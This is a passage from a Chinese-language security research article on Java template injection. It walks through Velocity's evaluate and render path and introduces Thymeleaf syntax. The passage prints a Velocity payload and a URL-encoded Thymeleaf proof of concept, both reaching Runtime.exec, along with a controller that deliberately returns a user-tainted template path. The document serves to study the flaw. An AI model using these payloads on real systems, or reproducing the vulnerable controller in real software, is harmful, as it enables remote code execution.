.toString());
根据测试程序,首先会进入Velocity类的init方法,
在该方法中,会调用RuntimeSingleton类的init方法,这个方法主要是对模板引擎的初始化,比如设置属性、初始化日志系统、资源管理器、指令等。
接下来回到主程序中,实例化VelocityContext,并将三对键值对put进去,之后调用Velocity类的evaluate方法,此时templateString的值为,
Hello, #set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator") | Full name: $name, phone: $phone, email: $email
直接进入了RuntimeInstance的evaluate方法,
进入重载的evaluate方法,
这个方法会调用RuntimeInstance类的parse方法进行解析。
经过两重调用来到org\apache\velocity\runtime\parser\Parser.class的parse方法。
完成模板文件的parse工作后,生成ast语法树结构,
到目前为止,解析工作完成,接下来就是渲染工作了,回到RuntimeInstance类的evaluate方法。
进入render方法中进行渲染,
这里从context取值去做模板解析,输出到output writer当中在ASTMethod类的execute方法中反射调用runtime,
至此,通过反射,实现了代码执行。
参考链接:
https://blog.csdn.net/lovesummerforever/article/details/47378211
https://www.cnblogs.com/jiarui-zjb/p/8227473.html
https://velocity.apache.org/
https://juejin.cn/post/7112775057704747045#heading-5
https://www.cnblogs.com/CoLo/p/16717761.html
https://www.cnblogs.com/nice0e3/p/16218857.html
https://anemone.top/vulnresearch-Solr_Velocity_injection/
https://paper.seebug.org/1107/
三、Thymeleaf模板注入安全风险
0x1:Thymeleaf简介
Thymeleaf 是一款用于渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。
与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面,Thymeleaf 支持 HTML 原型,其文件后缀为“.html”,因此它可以直接被浏览器打开,此时浏览器会忽略未定义的 Thymeleaf 标签属性,展示 thymeleaf 模板的静态页面效果;当通过 Web 应用程序访问时,Thymeleaf 会动态地替换掉静态内容,使页面动态显示。
Thymeleaf 通过在 html 标签中,增加额外属性来达到“模板+数据”的展示方式,示例代码如下。
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<meta charset="UTF-8">
<title>Title</title>
</head>
<!--th:text 为 Thymeleaf 属性,用于在展示文本-->
<h1 th:text="迎您来到Thymeleaf">欢迎您访问静态页面 HTML</h1>
</body>
</html>
当直接使用浏览器打开时,浏览器展示结果如下。
欢迎您访问静态页面HTML
当通过 Web 应用程序访问时,浏览器展示结果如下。
迎您来到Thymeleaf
总体来说,Thymeleaf具体如下特点:
动静结合:Thymeleaf 既可以直接使用浏览器打开,查看页面的静态效果,也可以通过 Web 应用程序进行访问,查看动态页面效果。
开箱即用:Thymeleaf 提供了 Spring 标准方言以及一个与 SpringMVC 完美集成的可选模块,可以快速的实现表单绑定、属性编辑器、国际化等功能。
多方言支持:它提供了 Thymeleaf 标准和 Spring 标准两种方言,可以直接套用模板实现 JSTL、OGNL 表达式,必要时,开发人员也可以扩展和创建自定义的方言。
与 SpringBoot 完美整合:SpringBoot 为 Thymeleaf 提供了的默认配置,并且还为 Thymeleaf 设置了视图解析器,因此 Thymeleaf 可以与 Spring Boot 完美整合。
0x2:Thymeleaf 语法规则
在使用 Thymeleaf 之前,首先要在页面的 html 标签中声明名称空间,示例代码如下。
xmlns:th="http://www.thymeleaf.org"
在 html 标签中声明此名称空间,可避免编辑器出现 html 验证错误,但这一步并非必须进行的,即使我们不声明该命名空间,也不影响 Thymeleaf 的使用。
Thymeleaf 作为一种模板引擎,它拥有自己的语法规则。Thymeleaf 语法分为以下 2 类:
标准表达式语法
th 属性
1、标准表达式语法
Thymeleaf 模板引擎支持多种表达式:
变量表达式:${...}
选择变量表达式:*{...}
链接表达式:@{...}
国际化表达式:#{...}
片段引用表达式:~{...}
2、th 属性
Thymeleaf 还提供了大量的 th 属性,这些属性可以直接在 HTML 标签中使用,其中常用 th 属性及其示例如下表。
属性描述示例
th:id
替换 HTML 的 id 属性
<tr th:each="m:${session.map}">
<td th:text="${m.getKey()}"></td>
<td th:text="${m.getValue()}"></td>
</table>
<div th:switch="${name}">
<span th:case="a">编程帮</span>
<span th:case="b">www.biancheng.net</span>
<script type="text/javascript" th:inline="javascript">
var name = /*[[${name}]]*/ 'bianchengbang';
alert(name)
</script>
templateEngine = new TemplateEngine();
templateEngine.setTemplateResolver(templateResolver);
0x3:thymeleaf开发案例
0x4:漏洞风险面POC
新建spring应用,添加thymeleaf的依赖,
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
添加控制器,
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
攻击载荷,
// 正确的payload:
/path?lang=en
// POC:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open -a Calculator%22).getInputStream()).next()%7d__::.x
参考链接:
https://www.cnblogs.com/tuyile006/p/16257278.html
https://blog.csdn.net/qq_41879343/article/details/107664955
https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/introduction.html
https://blog.csdn.net/trayvontang/article/details/112849988
https://blog.csdn.net/m0_46188681/article/details/114188838
https://xz.aliyun.com/t/12969#toc-18